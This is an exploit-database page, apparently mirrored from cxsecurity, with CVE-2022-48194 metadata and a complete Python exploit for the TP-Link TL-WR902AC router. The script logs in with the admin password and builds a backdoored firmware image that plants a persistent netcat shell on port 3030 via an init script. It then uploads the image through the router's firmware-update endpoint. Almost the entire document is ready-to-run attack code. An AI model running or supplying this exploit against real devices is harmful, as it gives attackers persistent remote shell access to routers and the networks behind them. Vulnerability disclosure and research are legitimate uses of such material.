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TP-Link TL-WR902AC firmware 210730 (V3) Remote Code Execution (RCE) (Authenticated)

CVE Category Price Severity
CVE-2022-48194 CWE-78 $10,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-04-03
CPE
cpe:cpe:/h:tp-link:tl-wr902ac_firmware:210730_v3
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 0.09545 0.68565

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023040016

Below is a copy:

TP-Link TL-WR902AC firmware 210730 (V3) Remote Code Execution (RCE) (Authenticated)
# !/usr/bin/python3

# Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tobias Mller
# Date: 2022-12-01
# Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329
# Vendor Homepage: https://www.tp-link.com/
# Tested On: TP-Link TL-WR902AC
# Vulnerability Description: Remote Code Execution via importing malicious firmware file
# CVE: CVE-2022-48194
# Technical Details: https://github.com/otsmr/internet-of-vulnerable-things

TARGET_HOST = "192.168.0.1"
ADMIN_PASSWORD = "admin"
TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip"


import requests
import os
import glob
import subprocess
import base64, os, hashlib
from Crypto.Cipher import AES, PKCS1_v1_5  # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad



for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]:
    if "not found" in subprocess.check_output(["which", program]).decode():
        print(f"[!] need {program} to run")
        exit(1)


class WebClient(object):

    def __init__(self, host, password):

        self.host = "http://" + host
        self.password = password
        self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest()
        
        self.aes_key = "7765636728821987"
        self.aes_iv = "8775677306058909"

        self.session = requests.Session()

        crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text

        self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16)
        self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16)
        self.seq        = int(crypto_data.split("\n")[3].split('"')[1])

        self.jsessionid = self.get_jsessionid()


    def get_jsessionid(self):
        post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n"
        self.get_encrypted_request_data(post_data, True)
        return self.session.cookies["JSESSIONID"]

    def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
        cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8'))
        plaintext_padded = pad(plaintext, aes_block_size)
        return cipher.encrypt(plaintext_padded)

    def rsa_encrypt(self, n, e, plaintext):
        public_key = RSA.construct((n, e)).publickey()
        encryptor = PKCS1_v1_5.new(public_key)
        block_size = int(public_key.n.bit_length() / 8) - 11
        encrypted_text = ''
        for i in range(0, len(plaintext), block_size):
            encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex()
        return encrypted_text

    def get_encrypted_request_data(self, post_data, is_login: bool):

        encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8'))
        encrypted_data = base64.b64encode(encrypted_data).decode()

        self.seq += len(encrypted_data)
        signature = f"h={self.password_hash}&s={self.seq}"
        if is_login:
            signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature

        encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8'))

        body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n"

        return self.cgi_basic("_gdpr", body)

    def cgi_basic(self, url: str, body: str):

        res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={
            "Referer": "http://192.168.0.1/"
        })

        if res.status_code != 200:
            print(res.text)
            raise ValueError("router not reachable")

        return res


def cmd(command):
    print("[*] running " + command)
    os.system(command)

def build_backdoor():

    if os.path.isdir("./tp_tmp"):
        cmd("rm -r -f ./tp_tmp")

    os.mkdir("./tp_tmp")
    os.chdir('./tp_tmp')

    print("[*] downloading firmware")
    res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD)
    with open("firmware.zip", "wb") as f:
        f.write(res.content)

    print("[*] downloading netcat")

    #res = requests.get(NETCAT_PRECOMPILED_FILE)
    #with open("netcat", "wb") as f:
    #    f.write(res.content)

    if os.path.isfile("netcat"):
        print("[!] netcat not found")
        exit()

    cmd('unzip firmware.zip')
    filename = glob.glob("TL-*.bin")[0]
    cmd(f"mv '{filename}' firmware.bin")
    cmd('binwalk --dd=".*" firmware.bin')
    cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200')

    with open("./squashfs-root/etc/init.d/back", "w") as f:
        f.write("""
#!/bin/sh
while true;
do
    netcat -l -p 3030 -e /bin/sh
    sleep 5
done
""")

    cmd("chmod +x ./squashfs-root/etc/init.d/back")

    with open("./squashfs-root/etc/init.d/rcS", "r+") as f:

        content = f.read()
        content = content.replace("cos &", "/etc/init.d/back &\ncos &")
        f.write(content)

    cmd("cp netcat ./squashfs-root/usr/bin/")
    cmd("chmod +x ./squashfs-root/usr/bin/netcat")

    cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144")

    size = subprocess.check_output(["file", "backdoor.squashfs"]).decode()
    offset = int(size.split(" ")[9]) + 1442304
    cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304")
    cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304")
    cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}")

    os.chdir('../')

    cmd(f"mv ./tp_tmp/backdoor.bin .")
    cmd("rm -r -f ./tp_tmp")

def upload_backdoor():

    wc = WebClient(TARGET_HOST, ADMIN_PASSWORD)

    print("[*] uploading backdoor")

    files = {
        'filename': open('backdoor.bin','rb')
    }

    re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={
        "JSESSIONID": wc.jsessionid
    }, headers={
        "Referer": "http://192.168.0.1/mainFrame.htm"
    }, files=files)

    if re_upload.status_code != 200 or "OK" not in re_upload.text:
        print("[!] error")
        exit(1)

    print("[*] success!")

    print("\nWait for router restart, then run:")
    print("nc 192.168.0.1 3030")


build_backdoor()
upload_backdoor()

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